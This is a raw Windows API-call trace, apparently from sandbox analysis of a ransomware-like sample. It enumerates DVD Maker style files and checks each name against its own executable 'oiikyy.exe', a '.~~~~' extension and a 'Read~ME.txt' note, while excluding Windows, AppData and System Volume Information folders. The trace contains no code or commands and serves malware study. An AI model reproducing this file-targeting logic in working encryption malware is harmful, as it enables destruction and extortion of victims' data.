	[0081.565] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722d79a4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722d79a4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x33b7, dwReserved0=0x0, dwReserved1=0x2, cFileName="Pets_frame-border.png", cAlternateFileName="")) returned 1
	[0081.565] lstrcmpiW (lpString1="Pets_frame-border.png", lpString2="Windows") returned -1
	[0081.565] lstrcmpW (lpString1="Pets_frame-border.png", lpString2="oiikyy.exe") returned 1
	[0081.565] StrStrW (lpFirst="Pets_frame-border.png", lpSrch=".~~~~") returned 0x0
	[0081.565] lstrcmpW (lpString1="Pets_frame-border.png", lpString2="Read~ME.txt") returned -1
	[0081.565] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398de0
	[0081.565] GetCurrentThreadId () returned 0x618
	[0081.565] RtlWakeConditionVariable () returned 0x365f48
	[0081.565] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724c6b5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724c6b5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6dc875, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1681, dwReserved0=0x0, dwReserved1=0x2, cFileName="Pets_frame-highlight.png", cAlternateFileName="")) returned 1
	[0081.565] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2="Windows") returned -1
	[0081.565] lstrcmpW (lpString1="Pets_frame-highlight.png", lpString2="oiikyy.exe") returned 1
	[0081.565] StrStrW (lpFirst="Pets_frame-highlight.png", lpSrch=".~~~~") returned 0x0
	[0081.565] lstrcmpW (lpString1="Pets_frame-highlight.png", lpString2="Read~ME.txt") returned -1
	[0081.565] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398de0
	[0081.565] GetCurrentThreadId () returned 0x618
	[0081.565] RtlWakeConditionVariable () returned 0x365f48
	[0081.565] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722fdb01, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722fdb01, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6dc875, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1fe9, dwReserved0=0x0, dwReserved1=0x2, cFileName="Pets_frame-imageMask.png", cAlternateFileName="")) returned 1
	[0081.565] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2="Windows") returned -1
	[0081.565] lstrcmpW (lpString1="Pets_frame-imageMask.png", lpString2="oiikyy.exe") returned 1
	[0081.565] StrStrW (lpFirst="Pets_frame-imageMask.png", lpSrch=".~~~~") returned 0x0
	[0081.565] lstrcmpW (lpString1="Pets_frame-imageMask.png", lpString2="Read~ME.txt") returned -1
	[0081.565] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398de0
	[0081.565] GetCurrentThreadId () returned 0x618
	[0081.565] RtlWakeConditionVariable () returned 0x365f48
	[0081.565] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722d79a4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722d79a4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea22689, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x643e, dwReserved0=0x0, dwReserved1=0x2, cFileName="Pets_frame-shadow.png", cAlternateFileName="")) returned 1
	[0081.565] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2="Windows") returned -1
	[0081.565] lstrcmpW (lpString1="Pets_frame-shadow.png", lpString2="oiikyy.exe") returned 1
	[0081.565] StrStrW (lpFirst="Pets_frame-shadow.png", lpSrch=".~~~~") returned 0x0
	[0081.566] lstrcmpW (lpString1="Pets_frame-shadow.png", lpString2="Read~ME.txt") returned -1
	[0081.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398de0
	[0081.566] GetCurrentThreadId () returned 0x618
	[0081.566] RtlWakeConditionVariable () returned 0x365f48
	[0081.566] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724eccba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724eccba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x2, cFileName="Pets_image-frame-backglow.png", cAlternateFileName="")) returned 1
	[0081.566] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2="Windows") returned -1
	[0081.566] lstrcmpW (lpString1="Pets_image-frame-backglow.png", lpString2="oiikyy.exe") returned 1
	[0081.566] StrStrW (lpFirst="Pets_image-frame-backglow.png", lpSrch=".~~~~") returned 0x0
	[0081.566] lstrcmpW (lpString1="Pets_image-frame-backglow.png", lpString2="Read~ME.txt") returned -1
	[0081.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.566] GetCurrentThreadId () returned 0x618
	[0081.566] RtlWakeConditionVariable () returned 0x365f48
	[0081.566] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724eccba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724eccba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1f0a, dwReserved0=0x0, dwReserved1=0x2, cFileName="Pets_image-frame-border.png", cAlternateFileName="")) returned 1
	[0081.566] lstrcmpiW (lpString1="Pets_image-frame-border.png", lpString2="Windows") returned -1
	[0081.566] lstrcmpW (lpString1="Pets_image-frame-border.png", lpString2="oiikyy.exe") returned 1
	[0081.566] StrStrW (lpFirst="Pets_image-frame-border.png", lpSrch=".~~~~") returned 0x0
	[0081.566] lstrcmpW (lpString1="Pets_image-frame-border.png", lpString2="Read~ME.txt") returned -1
	[0081.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.566] GetCurrentThreadId () returned 0x618
	[0081.566] RtlWakeConditionVariable () returned 0x365f48
	[0081.566] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724c6b5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724c6b5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1146, dwReserved0=0x0, dwReserved1=0x2, cFileName="Pets_image-frame-ImageMask.png", cAlternateFileName="")) returned 1
	[0081.566] lstrcmpiW (lpString1="Pets_image-frame-ImageMask.png", lpString2="Windows") returned -1
	[0081.566] lstrcmpW (lpString1="Pets_image-frame-ImageMask.png", lpString2="oiikyy.exe") returned 1
	[0081.566] StrStrW (lpFirst="Pets_image-frame-ImageMask.png", lpSrch=".~~~~") returned 0x0
	[0081.566] lstrcmpW (lpString1="Pets_image-frame-ImageMask.png", lpString2="Read~ME.txt") returned -1
	[0081.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.566] GetCurrentThreadId () returned 0x618
	[0081.566] RtlWakeConditionVariable () returned 0x365f48
	[0081.566] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7240848c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7240848c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1ed0, dwReserved0=0x0, dwReserved1=0x2, cFileName="Pets_notes-txt-background.png", cAlternateFileName="")) returned 1
	[0081.566] lstrcmpiW (lpString1="Pets_notes-txt-background.png", lpString2="Windows") returned -1
	[0081.566] lstrcmpW (lpString1="Pets_notes-txt-background.png", lpString2="oiikyy.exe") returned 1
	[0081.566] StrStrW (lpFirst="Pets_notes-txt-background.png", lpSrch=".~~~~") returned 0x0
	[0081.567] lstrcmpW (lpString1="Pets_notes-txt-background.png", lpString2="Read~ME.txt") returned -1
	[0081.567] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.567] GetCurrentThreadId () returned 0x618
	[0081.567] RtlWakeConditionVariable () returned 0x365f48
	[0081.567] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fdde60, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71fdde60, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41ca, dwReserved0=0x0, dwReserved1=0x2, cFileName="rollinghills.png", cAlternateFileName="")) returned 1
	[0081.567] lstrcmpiW (lpString1="rollinghills.png", lpString2="Windows") returned -1
	[0081.567] lstrcmpW (lpString1="rollinghills.png", lpString2="oiikyy.exe") returned 1
	[0081.567] StrStrW (lpFirst="rollinghills.png", lpSrch=".~~~~") returned 0x0
	[0081.567] lstrcmpW (lpString1="rollinghills.png", lpString2="Read~ME.txt") returned 1
	[0081.567] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a90a8
	[0081.567] GetCurrentThreadId () returned 0x618
	[0081.567] RtlWakeConditionVariable () returned 0x365f48
	[0081.567] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7215ac02, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7215ac02, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea6e945, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd2a, dwReserved0=0x0, dwReserved1=0x2, cFileName="Scenes_INTRO_BG.wmv", cAlternateFileName="")) returned 1
	[0081.567] lstrcmpiW (lpString1="Scenes_INTRO_BG.wmv", lpString2="Windows") returned -1
	[0081.567] lstrcmpW (lpString1="Scenes_INTRO_BG.wmv", lpString2="oiikyy.exe") returned 1
	[0081.567] StrStrW (lpFirst="Scenes_INTRO_BG.wmv", lpSrch=".~~~~") returned 0x0
	[0081.567] lstrcmpW (lpString1="Scenes_INTRO_BG.wmv", lpString2="Read~ME.txt") returned 1
	[0081.567] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398de0
	[0081.567] GetCurrentThreadId () returned 0x618
	[0081.567] RtlWakeConditionVariable () returned 0x365f48
	[0081.567] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72180d5f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72180d5f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ec1184f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3fc64, dwReserved0=0x0, dwReserved1=0x2, cFileName="Scenes_INTRO_BG_PAL.wmv", cAlternateFileName="")) returned 1
	[0081.567] lstrcmpiW (lpString1="Scenes_INTRO_BG_PAL.wmv", lpString2="Windows") returned -1
	[0081.567] lstrcmpW (lpString1="Scenes_INTRO_BG_PAL.wmv", lpString2="oiikyy.exe") returned 1
	[0081.567] StrStrW (lpFirst="Scenes_INTRO_BG_PAL.wmv", lpSrch=".~~~~") returned 0x0
	[0081.567] lstrcmpW (lpString1="Scenes_INTRO_BG_PAL.wmv", lpString2="Read~ME.txt") returned 1
	[0081.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398de0
	[0081.568] GetCurrentThreadId () returned 0x618
	[0081.568] RtlWakeConditionVariable () returned 0x365f48
	[0081.568] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x721cd019, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x721cd019, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ec379ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2a8a, dwReserved0=0x0, dwReserved1=0x2, cFileName="Scenes_LOOP_BG.wmv", cAlternateFileName="")) returned 1
	[0081.568] lstrcmpiW (lpString1="Scenes_LOOP_BG.wmv", lpString2="Windows") returned -1
	[0081.568] lstrcmpW (lpString1="Scenes_LOOP_BG.wmv", lpString2="oiikyy.exe") returned 1
	[0081.568] StrStrW (lpFirst="Scenes_LOOP_BG.wmv", lpSrch=".~~~~") returned 0x0
	[0081.568] lstrcmpW (lpString1="Scenes_LOOP_BG.wmv", lpString2="Read~ME.txt") returned 1
	[0081.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a90a8
	[0081.568] GetCurrentThreadId () returned 0x618
	[0081.568] RtlWakeConditionVariable () returned 0x365f48
	[0081.568] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7223f430, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7223f430, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ecf6083, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd43ca, dwReserved0=0x0, dwReserved1=0x2, cFileName="Scenes_LOOP_BG_PAL.wmv", cAlternateFileName="")) returned 1
	[0081.568] lstrcmpiW (lpString1="Scenes_LOOP_BG_PAL.wmv", lpString2="Windows") returned -1
	[0081.568] lstrcmpW (lpString1="Scenes_LOOP_BG_PAL.wmv", lpString2="oiikyy.exe") returned 1
	[0081.568] StrStrW (lpFirst="Scenes_LOOP_BG_PAL.wmv", lpSrch=".~~~~") returned 0x0
	[0081.568] lstrcmpW (lpString1="Scenes_LOOP_BG_PAL.wmv", lpString2="Read~ME.txt") returned 1
	[0081.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398de0
	[0081.568] GetCurrentThreadId () returned 0x618
	[0081.569] RtlWakeConditionVariable () returned 0x365f48
	[0081.569] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72323c5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72323c5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ed4233f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe3dca, dwReserved0=0x0, dwReserved1=0x2, cFileName="Title_Page_Ref.wmv", cAlternateFileName="")) returned 1
	[0081.569] lstrcmpiW (lpString1="Title_Page_Ref.wmv", lpString2="Windows") returned -1
	[0081.569] lstrcmpW (lpString1="Title_Page_Ref.wmv", lpString2="oiikyy.exe") returned 1
	[0081.569] StrStrW (lpFirst="Title_Page_Ref.wmv", lpSrch=".~~~~") returned 0x0
	[0081.569] lstrcmpW (lpString1="Title_Page_Ref.wmv", lpString2="Read~ME.txt") returned 1
	[0081.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a90a8
	[0081.569] GetCurrentThreadId () returned 0x618
	[0081.569] RtlWakeConditionVariable () returned 0x365f48
	[0081.570] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723bc1d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x723bc1d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf188a, dwReserved0=0x0, dwReserved1=0x2, cFileName="Title_Page_Ref_PAL.wmv", cAlternateFileName="")) returned 1
	[0081.570] lstrcmpiW (lpString1="Title_Page_Ref_PAL.wmv", lpString2="Windows") returned -1
	[0081.570] lstrcmpW (lpString1="Title_Page_Ref_PAL.wmv", lpString2="oiikyy.exe") returned 1
	[0081.570] StrStrW (lpFirst="Title_Page_Ref_PAL.wmv", lpSrch=".~~~~") returned 0x0
	[0081.570] lstrcmpW (lpString1="Title_Page_Ref_PAL.wmv", lpString2="Read~ME.txt") returned 1
	[0081.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398de0
	[0081.570] GetCurrentThreadId () returned 0x618
	[0081.570] RtlWakeConditionVariable () returned 0x365f48
	[0081.570] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723bc1d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x723bc1d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf188a, dwReserved0=0x0, dwReserved1=0x2, cFileName="Title_Page_Ref_PAL.wmv", cAlternateFileName="")) returned 0
	[0081.570] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0081.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a90a8
	[0081.571] GetCurrentThreadId () returned 0x618
	[0081.571] RtlWakeConditionVariable () returned 0x365f48
	[0081.573] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ee00a15, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x4ee00a15, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_buttongraphic.png", cAlternateFileName="")) returned 1
	[0081.573] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2="Windows") returned -1
	[0081.573] lstrcmpW (lpString1="photoedge_buttongraphic.png", lpString2="oiikyy.exe") returned 1
	[0081.573] StrStrW (lpFirst="photoedge_buttongraphic.png", lpSrch=".~~~~") returned 0x0
	[0081.573] lstrcmpW (lpString1="photoedge_buttongraphic.png", lpString2="Read~ME.txt") returned -1
	[0081.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398de0
	[0081.573] GetCurrentThreadId () returned 0x618
	[0081.573] RtlWakeConditionVariable () returned 0x365f48
	[0081.573] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8601df, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8601df, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1274, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_selectionsubpicture.png", cAlternateFileName="")) returned 1
	[0081.574] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2="Windows") returned -1
	[0081.574] lstrcmpW (lpString1="photoedge_selectionsubpicture.png", lpString2="oiikyy.exe") returned 1
	[0081.574] StrStrW (lpFirst="photoedge_selectionsubpicture.png", lpSrch=".~~~~") returned 0x0
	[0081.574] lstrcmpW (lpString1="photoedge_selectionsubpicture.png", lpString2="Read~ME.txt") returned -1
	[0081.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0081.574] GetCurrentThreadId () returned 0x618
	[0081.574] RtlWakeConditionVariable () returned 0x365f48
	[0081.574] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e88633c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e88633c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1266, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_videoinset.png", cAlternateFileName="")) returned 1
	[0081.574] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2="Windows") returned -1
	[0081.574] lstrcmpW (lpString1="photoedge_videoinset.png", lpString2="oiikyy.exe") returned 1
	[0081.574] StrStrW (lpFirst="photoedge_videoinset.png", lpSrch=".~~~~") returned 0x0
	[0081.574] lstrcmpW (lpString1="photoedge_videoinset.png", lpString2="Read~ME.txt") returned -1
	[0081.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398de0
	[0081.574] GetCurrentThreadId () returned 0x618
	[0081.574] RtlWakeConditionVariable () returned 0x365f48
	[0081.574] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efaa4ac, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efaa4ac, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x59b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0081.574] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2="Windows") returned -1
	[0081.574] lstrcmpW (lpString1="Postage_ButtonGraphic.png", lpString2="oiikyy.exe") returned 1
	[0081.574] StrStrW (lpFirst="Postage_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0081.574] lstrcmpW (lpString1="Postage_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0081.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398de0
	[0081.574] GetCurrentThreadId () returned 0x618
	[0081.574] RtlWakeConditionVariable () returned 0x365f48
	[0081.574] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efd0609, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efd0609, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x160f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0081.574] lstrcmpiW (lpString1="Postage_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0081.574] lstrcmpW (lpString1="Postage_SelectionSubpicture.png", lpString2="oiikyy.exe") returned 1
	[0081.574] StrStrW (lpFirst="Postage_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0081.574] lstrcmpW (lpString1="Postage_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0081.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398de0
	[0081.574] GetCurrentThreadId () returned 0x618
	[0081.574] RtlWakeConditionVariable () returned 0x365f48
	[0081.575] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efd0609, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efd0609, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_VideoInset.png", cAlternateFileName="")) returned 1
	[0081.575] lstrcmpiW (lpString1="Postage_VideoInset.png", lpString2="Windows") returned -1
	[0081.575] lstrcmpW (lpString1="Postage_VideoInset.png", lpString2="oiikyy.exe") returned 1
	[0081.575] StrStrW (lpFirst="Postage_VideoInset.png", lpSrch=".~~~~") returned 0x0
	[0081.575] lstrcmpW (lpString1="Postage_VideoInset.png", lpString2="Read~ME.txt") returned -1
	[0081.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a90a8
	[0081.575] GetCurrentThreadId () returned 0x618
	[0081.575] RtlWakeConditionVariable () returned 0x365f48
	[0081.575] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Push", cAlternateFileName="")) returned 1
	[0081.575] lstrcmpiW (lpString1="Push", lpString2="Windows") returned -1
	[0081.575] lstrcmpW (lpString1="Push", lpString2=".") returned 1
	[0081.575] lstrcmpW (lpString1="Push", lpString2="..") returned 1
	[0081.575] lstrcmpW (lpString1="Push", lpString2="AppData") returned 1
	[0081.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push", lpSrch="AppData") returned 0x0
	[0081.575] lstrlenW (lpString="C:\\Windows") returned 10
	[0081.575] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push", lpString2="C:\\Windows") returned -1
	[0081.575] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0081.575] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push", lpString2="C:\\System Volume Information") returned -1
	[0081.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x37b730
